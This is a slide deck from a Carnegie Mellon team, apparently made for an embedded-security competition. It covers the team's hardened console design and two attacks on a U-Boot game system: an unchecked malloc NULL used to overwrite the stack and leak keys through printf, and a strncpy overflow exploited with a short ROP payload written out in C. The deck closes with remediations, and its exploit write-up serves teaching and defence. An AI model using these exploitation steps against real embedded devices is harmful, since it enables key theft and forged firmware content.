



Carnegie Mellon University

# ROP it like it's Hot

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# Outline

## Design

- Our System
- Improvements

## Attack Phase


- Attack highlights

## General Comments

- Lessons learned

# Overview

- Bcrypt
- Libsodium
  - Encrypted
  - Signing
- Removed excess functionality
  - Network stack
  - SSH server
- CFI
- Limited Syscalls



Length of Header (Encrypted Header + Game\_keys), Nonce

```
Enc_{header_key_game_i}(HEADER:  
  Game_name-version  
  version:<version>  
  name:<name>  
  users:<k>)
```

User\_1, Enc\_{user\_key\_1}(game\_key)

...

User\_k, Enc\_{user\_key\_k}(game\_key) where k is the kth user with access to the game

# ENCRYPTED GAME

Signature: ED25519 (All the data above)

Game.out Structure

# Design Improvements

- Memsec
- Cold boot attacks
- Disable DMA
- Move everything to Petalinux

# Attack 1: The Vulnerability (U-Boot MESH)

```
// read the game into a buffer
char* game_buffer = (char*) malloc(game_size + 1);
mesh_read_ext4(game_name, game_buffer, game_size);
```

What if *malloc* fails?

# dlmalloc.c

```
#if HAVE_MMAP
    /* If big and would otherwise need to extend, try to use mmap instead */
    if ((unsigned long)nb >= (unsigned long)mmap_threshold &&
        (victim = mmap_chunk(nb)) != 0)
        return chunk2mem(victim);
#endif

    /* Try to extend */
    malloc_extend_top(nb);
    if ( (remainder_size = chunksize(top) - nb) < (long)MINSIZE)
        return NULL; /* propagate failure */
}
```

# Attack 1: The Vulnerability (U-Boot MESH)

```
// read the game into a buffer  
char* game_buffer = NULL;  
mesh_read_ext4(game_name, game_buffer, game_size);
```

What if *malloc* fails?



# Attack 1: The Vulnerability (U-Boot MESH)

0 in physical memory is executable and writable!

```
// read the game into a buffer
char* game_buffer = 0;
mesh_read_ext4(game_name, game_buffer, game_size);
```

What if *malloc* fails?

# Attack 1: Overflow?



**U-Boot is on RAM.  
The stack is on RAM...**

**What if we load a 512MB  
file?**

# Attack 1: Overflow!

```
U-Boot 2017.01 (Mar 04 2019 - 23:58:40 +0000)

...
mesh> list
ipflag-v1.0
hackermod-v1.0
mesh> play ipflag-v1.0

data abort
pc : [<1e71a5c0>]      lr : [<1fb8c94c>]
reloc pc : [<02bdf5c0>]  lr : [<0405194c>]
sp : 1e71a620  ip : 00000000      fp : 00000000
r10: 00000000  r9 : 1e71aee8      r8 : 00000000
r7 : 00000000  r6 : 00000000      r5 : 00000000  r4 : 00000000
r3 : e0100000  r2 : ffffffff      r1 : 00000000  r0 : 00000000
Flags: nZCv  IRQs off  FIQs off  Mode SVC_32
Resetting CPU ...
```



# Attack 1: Overflow!?!?

```
U-Boot 2017.01 (Mar 04 2019 - 23:58:40 +0000)

...
mesh> list
ipflag-v1.0
hackermod-v1.0
mesh> play ipflag-v1.0

data abort
pc : [<1e71a5c0>]      lr : [<1fb8c94c>]
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sp : 1e71a620  ip : 00000000      fp : 00000000
r10: 00000000  r9 : 1e71aee8      r8 : 00000000
r7 : 00000000  r6 : 00000000      r5 : 00000000  r4 : 00000000
r3 : e0100000  r2 : ffffffff      r1 : 00000000  r0 : 00000000
Flags: nZCv  IRQs off  FIQs off  Mode SVC_32
Resetting CPU ...
```



We probably wrote a bit too much...

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# Attack 1: What Did We Actually Achieve?

0x00000000

 We control this   
(16 - 512 MB)

**SPACE OF INNOCUOUS  
THINGS**

0x??????????


**STACK!**

INTERRUPT VECTOR TABLE

0x??????????

**RELOCATED U-BOOT (with delicious sekrits 🍷 )**

# Attack 1: Idea: Stack Buffer Overflow!



 **We control this** 

```
0x00000000000000000000000000000000  
00000000000000000000000000000000  
      00000000000000000000000000
```

0x????????


# 0x00000000

## INTERRUPT VECTOR TABLE

0x????????

## RELOCATED U-BOOT (with delicious sekrits 🍷)

# Attack 1: Idea: Stack Buffer Overflow!



# Attack 1: Where are the Crown Jewels?

Re-compile and analyze!



Secret Offsets



Stack Offsets



# Attack 1: Finding the Minimum Crashable Size




# QEMU




Find potential stack  
offsets

## Binary Search

through the possible crashable sizes!

512 MB → 496 MB → ... → 510.7MB 



Find potential  
secret offsets

# Attack 1: When All Fails, Try and Try Again

```
U-Boot 2017.01 (Mar 04 2019 - 23:58:40 +0000)

...
mesh> play ipflag-v1.0

data abort
pc : [<1fb62784>]      lr : [<1fb8c94c>]
reloc pc : [<04027784>]  lr : [<0405194c>]
sp : 1e71a5f8  ip : 00000000  fp : 00084530
r10: 000cdf09  r9 : 1e71aee8   r8 : 00000030
r7 : 0000f8dc  r6 : 1e71a624   r5 : 00000020  r4 : 1e71b8f0
r3 : 00000028  r2 : 41414141   r1 : 000cdf09  r0 : 41414141
Flags: nZCv  IRQs off  FIQs off  Mode SVC_32
Resetting CPU ...
```

# Attack 1: Shellcoding

Secrets are in raw bytes :(


```
uint8_t[... EA,0F,83,85,CF,"c",BC,"K\n",05,84,"\\n\\",18
```

**Idea:** Use in-built U-Boot functions to print raw bytes (`printf`)

Print **byte by byte**

Using the format string `"%02x"`!

# Attack 1: Finishing it Off



**Symmetric Encryption:** We have all the keys needed to forge any game!

# Attack 1: Remediations

Not just one, but **many small flaws** led to successful exploitation!

- Not checking for **NULL return** for *malloc*
- Lack of virtual memory + memory protections in U-Boot
- U-Boot crash dump not removed
- Asymmetric cryptography not used
  - without the private key, **we cannot forge games**

## Attack 2: Buffer overflow on mesh\_login

```
strncpy(tmp_user.name, tmp_name, MAX_STR_LEN);  
strncpy(tmp_user.pin, tmp_pin, MAX_STR_LEN);
```

MAX\_STR\_LEN is 64, and the len of the pin is 9.

## Attack 2: Buffer overflow on mesh\_login


```
strncpy(tmp_user.name, tmp_name, MAX_STR_LEN);  
strncpy(tmp_user.pin, tmp_pin, MAX_STR_LEN);
```

MAX\_STR\_LEN is 64, and the len of the pin is 9.  
Buffer overflow! Time to...






Higher  
memory  
addresses



Higher  
memory  
addresses



**Last  
Instruction  
Ran**

`pop {r4, r5,  
r6, r7, pc}`

```
char random_bytes[] = {
    'R', 'a', 'n', 'd', 'o', 'M', ' ', 'S', 't', 'r', 'i', 'n', 'g', ' ', ' ', ' ', ' ',
};

char r4_r5_r6_r7[] = {
    0x5f, 0xd2, 0xb9, 0x1f, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A',
};

char pc_r4_r5_r6[] = {
    0x34, 0x42, 0xb8, 0x1f, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A',
};

char printf_fun[] = {
    0xc8, 0xf0, 0xb8, 0x1f
};

strncat(cmd, random_bytes, 16);
strncat(cmd, r4_r5_r6_r7, 16);
strncat(cmd, pc_r4_r5_r6, 16);
strncat(cmd, printf_fun, 4);
```

# Attack 2: Impacts and Countermeasures

## **Arbitrary code execution:**

- Ability to leak secrets from the system.

## **Suggested Fix:**

- Change the size for strncpy to ensure no overflow.

# Other Attacks

1. Open SSH connections through ethernet ports
2. Cold Boot attacks
3. 0 Day discovered - not employed
4. Reversing the bitstream - attempted
5. Fuzzing - attempted

# General Comments

- Disable everything that isn't necessary
- Sign everything you don't want to be messed with
- Bounds checks
- Function returns (specifically malloc)
- Memsec is important

# Questions?